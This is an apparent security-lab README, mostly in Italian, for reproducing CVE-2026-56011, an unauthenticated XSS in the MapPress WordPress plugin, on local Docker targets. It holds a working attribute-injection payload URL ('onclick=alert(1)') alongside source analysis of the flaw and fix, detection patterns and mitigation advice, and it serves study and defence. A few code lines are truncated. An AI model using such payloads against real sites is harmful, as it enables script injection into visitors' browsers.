rootdirective-sec/cve-2026-56011-lab
Questo repository contiene un laboratorio Docker locale per riprodurre e validare la CVE-2026-56011, una vulnerabilità di Cross-Site Scripting non autenticata che colpisce MapPress Maps for WordPress.
MapPress Maps for WordPress è un plugin WordPress utilizzato per visualizzare mappe all'interno di pagine e articoli WordPress. Il comportamento vulnerabile interessa il percorso di rendering della mappa iframe raggiungibile tramite il parametro di richiesta mappress=embed.
Questo laboratorio confronta due versioni di MapPress:
| Servizio | Versione MapPress | Scopo | URL |
|---|---|---|---|
| vuln | 2.97.3 | Target di confronto vulnerabile | http://localhost:8081 |
| patched | 2.97.4 | Target di confronto con patch | http://localhost:8082 |
Il percorso di validazione dimostrato in questo laboratorio locale è:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
Il bersaglio vulnerabile utilizza questo URL del browser manuale:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Risultato vulnerabile previsto:```text Click on the rendered MapPress component → alert(1) pops up
Il target patchato usa lo stesso payload contro MapPress 2.97.4:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Risultato atteso dopo la patch:```text Click on the rendered MapPress component → no alert appears
This lab intentionally uses manual browser validation only. It does not include a PoC script, browser automation, credential theft, external callbacks, malware, persistence, post-exploitation activity, or attacks against external systems.
## Fatti verificati
| Affermazione | Evidenza | Come verificarlo in questo laboratorio |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| CVE-2026-56011 colpisce MapPress Maps for WordPress. | Gli advisory pubblici di vulnerabilità identificano il plugin WordPress interessato come MapPress Maps for WordPress. | Esamina la sezione References e ispeziona il plugin installato in entrambi i target Docker. |
| La versione vulnerabile di confronto in questo laboratorio è MapPress 2.97.3. | Il servizio `vuln` compila il plugin utilizzando `MAPPRESS_VERSION: 2.97.3`. | Ispeziona `docker-compose.yml` e `vuln/Dockerfile`. |
| La versione corretta di confronto in questo laboratorio è MapPress 2.97.4. | Il servizio `patched` compila il plugin utilizzando `MAPPRESS_VERSION: 2.97.4`. | Ispeziona `docker-compose.yml` e `patched/Dockerfile`. |
| MapPress 2.97.4 ha introdotto la correzione relativa all'escaping dell'iframe. | Il changelog ufficiale del plugin per 2.97.4 riporta `Added: escape in iframe`. | Esamina il changelog ufficiale del plugin WordPress e confronta il codice sorgente vulnerabile con quello corretto. |
| Il codice sorgente vulnerabile inserisce il nome della mappa nell'attributo `id` del componente web senza virgolette. | In 2.97.3, `mappress_map.php` genera `<mappress-map id={$name} ...>`. | Confronta il codice sorgente 2.97.3 con quello 2.97.4. |
| Il codice sorgente corretto racchiude tra virgolette ed esegue l'escape del valore `id`. | In 2.97.4, `mappress_map.php` genera `id="` con `esc_attr($name)`. | Confronta il diff della patch tra 2.97.3 e 2.97.4. |
| Il percorso iframe è raggiungibile senza autenticazione. | MapPress registra `template_redirect` quando `$_GET['mappress']` è presente. | Richiedi `/?mappress=embed...` da un browser senza effettuare l'accesso. |
| Il percorso iframe legge gli attributi della mappa dalla richiesta. | `template_redirect()` mappa `$_GET` negli argomenti della mappa e chiama il renderer dell'iframe. | Ispeziona `mappress.php` e riproduci l'URL manuale. |
| Il target vulnerabile consente l'iniezione di attributi tramite `name`. | Il valore `name` appositamente costruito può fuoriuscire dall'attributo `id` senza virgolette e diventare `onclick=alert(1)`. | Apri l'URL manuale vulnerabile e fai clic sul componente MapPress renderizzato. |
| Il target corretto blocca il comportamento di iniezione degli attributi testato. | L'output corretto mantiene l'intero payload all'interno dell'attributo `id` tra virgolette. | Apri l'URL manuale corretto e fai clic sul componente MapPress renderizzato. |
## Ipotesi e incognite
Questo laboratorio utilizza MapPress 2.97.3 come target vulnerabile di confronto perché gli advisory pubblici identificano come interessate le versioni fino alla 2.97.3 inclusa, e il diff del codice sorgente mostra il rendering vulnerabile dell'attributo senza virgolette in quella versione.
Questo laboratorio utilizza MapPress 2.97.4 come target corretto di confronto perché gli advisory pubblici identificano la 2.97.4 come versione corretta, e il changelog ufficiale dichiara che l'escaping è stato aggiunto nel percorso iframe.
Il comportamento vulnerabile testato è il percorso di rendering dell'iframe non autenticato:```text
GET /?mappress=embed&name=<crafted-value>
Questo laboratorio si concentra sull'esecuzione manuale nel browser di un payload di avviso innocuo:```text name=cve56011 onclick=alert(1)
Il laboratorio non tenta di dimostrare una catena di consegna persistente. Alcune advisory pubbliche classificano la vulnerabilità come XSS persistente. Questo repository si concentra sul sink di rendering iframe confermato dal sorgente e sul comportamento vulnerabile-versus-patched che può essere riprodotto localmente attraverso la rotta non autenticata `mappress=embed`.
Il laboratorio non dimostra:
* persistenza del payload stoccato,
* compromissione dell'account WordPress,
* furto della sessione admin,
* furto del nonce,
* callback esterni,
* raccolta XSS cieca,
* furto delle credenziali,
* dumping del database,
* malware,
* persistenza,
* o attacchi a sistemi non di laboratorio.
La validazione manuale del browser prova la differenza di rendering rilevante per la sicurezza:```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
La causa principale di CVE-2026-56011 è la codifica di output errata per il valore name della mappa quando MapPress esegue il rendering di un componente web all'interno del percorso di output della mappa iframe.
Il percorso di codice vulnerabile accetta attributi di rendering della mappa dalla richiesta e alla fine esegue il rendering di un elemento HTML personalizzato:```html <mappress-map ...>
In MapPress 2.97.3, il nome della mappa viene inserito direttamente nell'attributo `id` senza virgolette e senza escaping nel contesto di attributo:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
Questo non è sicuro perché il valore viene utilizzato in un contesto di attributo HTML. Se l'attaccante controlla name, un valore contenente uno spazio può terminare il valore id previsto e introdurre un nuovo attributo.
Il comportamento vulnerabile può essere riassunto come:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
Il punto importante è che la sanitizzazione generale del testo non è la stessa cosa di un corretto escaping dell'output.
Il codice vulnerabile usa `sanitize_text_field()` sul nome della mappa, ma ciò non rende il valore sicuro per un attributo HTML senza virgolette. Gli spazi rimangono significativi negli attributi HTML perché separano un attributo dal successivo.
Il problema di sicurezza è quindi:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
La versione patchata modifica il rendering per citare e sfuggire al valore di id:```php
return "
Il comportamento corretto può essere riassunto come:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
La lezione di sicurezza è:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## Analisi del codice sorgente
Il problema a livello di codice sorgente è stato confermato confrontando MapPress 2.97.3 e MapPress 2.97.4.
Il sink di rendering principale si trova in:```text
mappress_map.php
La versione vulnerabile renderizza il valore name come attributo id senza virgolette:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
La versione corretta racchiude l'attributo tra virgolette ed esegue l'escape del valore:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
La route iframe viene registrata quando la richiesta contiene il parametro di query mappress:```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
Il gestore di richieste iframe mappa i parametri di query in argomenti della mappa:```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
Il gestore crea quindi o carica un oggetto mappa e lo aggiorna con gli argomenti della richiesta:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
L'helper iframe renderizza il contenuto della mappa:```php
$content = $map->display(null, true);
Il percorso display() preserva un valore name fornito non vuoto:```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
Ciò significa che il valore `name` fornito dalla richiesta può raggiungere il sink di rendering vulnerabile.
Il flusso rilevante per la sicurezza è:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
Il resto degli attributi della mappa generata viene elaborato tramite un helper che racchiude tra virgolette gli attributi. Il rendering vulnerabile di id è speciale perché name viene estratto e renderizzato separatamente.
Ciò rende la superficie vulnerabile ristretta e facile da validare:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## Riepilogo della patch sorgente
MapPress 2.97.4 corregge il comportamento vulnerabile di rendering dell'iframe racchiudendo tra virgolette e sfuggendo il valore dell'attributo `id` per l'elemento `<mappress-map>` generato.
Il pattern di output vulnerabile è:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
In questo output, il browser analizza:```text id = cve56011 onclick = alert(1)
Il pattern di output corretto è:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
In questo output, il browser analizza:```text id = cve56011 onclick=alert(1)
Non viene creato alcun attributo `onclick` autonomo.
La patch rilevante per la sicurezza è:```text
Before:
id={$name}
After:
id="<escaped name>"
La correzione a livello di sorgente è minima, ma l'impatto sulla sicurezza è rilevante perché il percorso interessato è raggiungibile senza autenticazione tramite l'endpoint di incorporamento iframe.
Questo lab mantiene separati la revisione del codice sorgente e la validazione runtime:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## Lab Architecture
Il laboratorio esegue due target WordPress isolati tramite Docker Compose.```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
There is intentionally no poc/ directory. The validation is manual and browser-based.
The two WordPress services use separate databases and separate WordPress volumes:
Default exposed services:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Il laboratorio utilizza versioni bloccate del plugin MapPress:
| Obiettivo | Versione MapPress | Comportamento atteso |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | cliccando sul componente appositamente creato si attiva alert(1) |
| http://localhost:8082 | 2.97.4 | cliccando sul componente appositamente creato non si attiva alert(1) |
La build Docker scarica lo ZIP esatto del plugin per ciascun target dall'endpoint ufficiale di download dei plugin di WordPress:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
I servizi WP-CLI vengono eseguiti automaticamente durante l'avvio del lab. Installano WordPress e attivano MapPress in ogni target.
Il lab non crea né modifica la route vulnerabile di MapPress. La route è fornita dalla versione reale del plugin MapPress installata in ogni target.
Non è richiesta alcuna dipendenza Python.
Non è richiesto alcuno script PoC.
Non è richiesto alcun login WordPress per la validazione manuale della XSS.
Avvia il lab da uno stato pulito:```bash docker compose down -v --remove-orphans docker compose up -d --build
Controlla lo stato del servizio:```bash
docker compose ps
Servizi attesi in esecuzione:```text db-vuln db-patched vuln patched
Obiettivi esposti previsti:```text
http://localhost:8081
http://localhost:8082
Verifica che l'installazione di WordPress e l'attivazione del plugin siano completate:```bash docker compose logs wpcli-vuln wpcli-patched
Messaggi di configurazione previsti:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
Dopo che la configurazione è completa, la pagina di accesso di WordPress dovrebbe restituire HTTP 200:```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
Se la pagina principale reindirizza temporaneamente a `/wp-admin/install.php`, la configurazione di WP-CLI potrebbe essere ancora in corso. Attendi finché i log `wpcli-vuln` e `wpcli-patched` mostrano i messaggi di completamento della configurazione, quindi riprova.
## Validazione manuale dell'XSS con alert
Questo laboratorio prevede solo la validazione manuale tramite browser.
Non è incluso alcuno script PoC.
Non è richiesto alcun login.
### Target vulnerabile
Apri questo URL in un browser:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Clicca sul componente MapPress renderizzato.
Risultato vulnerabile previsto:```text alert(1) pops up
Significato di sicurezza:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
Il comportamento vulnerabile interpretato dal browser è equivalente a:```html <mappress-map id=cve56011 onclick=alert(1) ...>
Il browser tratta questo come:```text
id = cve56011
onclick = alert(1)
Quando si fa clic sul componente, viene eseguito il gestore di eventi.
Apri questo URL in un browser:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Clicca sul componente MapPress renderizzato.
Risultato atteso dopo la patch:```text
No alert appears.
Significato di sicurezza:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
Il comportamento del browser dopo la patch è equivalente a:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
Il browser lo tratta come:```text id = cve56011 onclick=alert(1)
Nessun attributo `onclick` eseguibile viene creato.
## Risultati Attesi
### Target Vulnerabile
URL manuale del browser:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Risultato atteso dopo aver fatto clic sul componente renderizzato:```text alert(1) pops up
Classificazione prevista:```text
VULNERABLE_BEHAVIOR_OBSERVED
Il segnale vulnerabile importante è:```text MapPress 2.97.3
### Target con patch
URL del browser manuale:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Risultato atteso dopo aver fatto clic sul componente renderizzato:```text No alert appears.
Classificazione prevista:```text
BLOCKED_BEHAVIOR_OBSERVED
L'importante segnale corretto è:```text MapPress 2.97.4
## Come funziona la validazione
La validazione manuale invia una richiesta del browser al percorso di rendering dell'iframe di MapPress:```text
/?mappress=embed
La richiesta include un valore name creato ad arte:```text
cve56011 onclick=alert(1)
La richiesta vulnerabile completa è:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
La richiesta completa patchata è:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
In MapPress 2.97.3, il valore `name` viene inserito in un attributo `id` senza virgolette:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
Poiché l'attributo non è racchiuso tra virgolette, lo spazio dopo cve56011 dà inizio a un nuovo attributo.
Il browser interpreta l'output come:```text id="cve56011" onclick="alert(1)"
Quando il componente renderizzato viene cliccato, il gestore di eventi iniettato viene eseguito.
In MapPress 2.97.4, lo stesso valore viene escapato e citato:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
Il browser interpreta l'intero payload come un singolo valore id.
Non viene creato alcun gestore di eventi.
La validazione è volutamente manuale perché l'obiettivo è mostrare direttamente il comportamento XSS visibile dal browser:```text vulnerable target → click → alert(1)
patched target → click → no alert
## Riproduzione manuale nel browser
Avvia il lab:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Attendere il completamento della configurazione:```bash docker compose logs wpcli-vuln wpcli-patched
Completamento previsto della configurazione:```text
vuln setup complete
patched setup complete
Apri il target vulnerabile:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Fare clic sul componente MapPress renderizzato.
Risultato previsto:```text
alert(1)
Apri il target patchato:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Fai clic sul componente MapPress renderizzato.
Risultato atteso:```text
No alert
Screenshot consigliati come prova per una descrizione del portfolio:```text
## Impatto
CVE-2026-56011 è sensibile dal punto di vista della sicurezza perché un utente non autenticato può creare un URL iframe di MapPress che inietta JavaScript nel componente mappa renderizzato.
L'impatto reale nel mondo dipende da come viene consegnato l'URL dannoso e da quale utente lo apre.
Il possibile impatto può includere:
* esecuzione di JavaScript controllato dall'attaccante nel browser della vittima,
* phishing o manipolazione dell'interfaccia utente all'interno dell'origine WordPress interessata,
* accesso a dati non HttpOnly della stessa origine,
* azioni eseguite come vittima se ulteriori condizioni applicative lo consentono,
* furto di token CSRF o dati di pagine non protette,
* e abuso del contesto fidato del sito WordPress.
Questo laboratorio dimostra solo un payload di avviso locale innocuo:```text
onclick=alert(1)
Il laboratorio non dimostra furto di sessione, furto di credenziali, compromissione dell'account amministratore, caricamento di JavaScript esterno dannoso, raccolta di XSS cieco, o attacchi contro siti WordPress pubblici.
Il rischio pratico in produzione dipende da:
I potenziali indicatori includono richieste al percorso di rendering dell'iframe di MapPress:```text GET /?mappress=embed
I parametri di query sospetti possono includere stringhe relative a JavaScript nel parametro `name`:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
Idea di rilevamento ad alto segnale:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=
Esempio di richiesta sospetta:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Possibili log del server web o telemetria da esaminare:
mappress=embed,name sospetti,Azioni di monitoraggio consigliate:
mappress=embed.%20onclick%3D.name.Aggiornare MapPress Maps per WordPress alla versione 2.97.4 o successiva.
La patch pertinente modifica l'output della mappa iframe in modo che l'attributo id del componente web generato sia racchiuso tra virgolette e sottoposto a escaping.
Comportamento rilevante per la sicurezza:```text Before: id={$name}
After: id=""
Recommended mitigation steps:
* Aggiorna MapPress Maps per WordPress alla versione 2.97.4 o successiva.
* Preferisci la versione più recente disponibile del plugin invece di fermarti alla versione di confronto usata in laboratorio.
* Verifica che la versione del plugin installata non rientri nell'intervallo interessato.
* Svuota le cache delle pagine e le cache CDN dopo l'aggiornamento.
* Controlla i log di accesso per richieste sospette `mappress=embed`.
* Cerca nei log valori sospetti del parametro `name`.
* Valuta una regola WAF temporanea per le richieste `mappress=embed` che contengono gestori di eventi.
* Limita l'esposizione non necessaria delle funzionalità di amministrazione di WordPress.
* Utilizza una Content Security Policy restrittiva dove compatibile.
* Mantieni aggiornati il core, i temi e i plugin di WordPress.
Lezioni di ingegneria della sicurezza:
* Racchiudi tra virgolette tutti gli attributi HTML.
* Esegui l'escape dell'output per il contesto di output esatto.
* Usa `esc_attr()` per l'output degli attributi HTML di WordPress.
* Non fare affidamento su `sanitize_text_field()` come sostituto dell'escape dell'output.
* Aggiungi test di regressione per i percorsi di rendering di iframe e shortcode.
* Controlla il rendering dei componenti web personalizzati perché i tag personalizzati seguono comunque le normali regole di parsing HTML.
## Limiti di Sicurezza
Questo laboratorio è destinato esclusivamente a ricerca di sicurezza locale e dimostrazioni controllate.
Non utilizzare l'URL XSS manuale contro sistemi che non possiedi o per cui non hai un'autorizzazione esplicita al test.
Non utilizzare credenziali di produzione reali, dati dei clienti, dati di pagamento, chiavi API, credenziali del database o segreti di produzione in questo laboratorio.
L'ambito previsto è limitato ai servizi Docker locali come:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Il payload manuale è intenzionalmente innocuo:```text onclick=alert(1)
The lab does not include payloads for:
* furto di cookie,
* furto di credenziali,
* furto di token CSRF,
* abuso delle azioni amministrative,
* callback esterni,
* raccolta di blind XSS,
* malware,
* persistenza,
* kit di phishing,
* sfruttamento del browser,
* movimento laterale,
* accesso ai dati dei clienti,
* o attacchi contro sistemi esterni al laboratorio.
L'obiettivo è dimostrare una specifica condizione tecnica in un ambiente controllato:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
Ferma e rimuovi contenitori, reti e volumi:```bash docker compose down -v --remove-orphans
Rimuovi le immagini di laboratorio costruite localmente, se lo desideri:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
Verifica che non rimangano container di laboratorio:```bash docker compose ps
## Riferimenti
* Record CVE: CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD: CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* Plugin WordPress: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* Changelog del plugin WordPress: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* Database delle vulnerabilità WPScan: MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* Download del plugin WordPress: MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* Download del plugin WordPress: MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
| Service | Component | Version / Role |
|---|
| db-vuln | MariaDB | database for vulnerable WordPress |
| db-patched | MariaDB | database for patched WordPress |
| vuln | WordPress | vulnerable target with MapPress 2.97.3 |
| patched | WordPress | patched target with MapPress 2.97.4 |
| wpcli-vuln | WP-CLI | installs WordPress and activates plugin |
| wpcli-patched | WP-CLI | installs WordPress and activates plugin |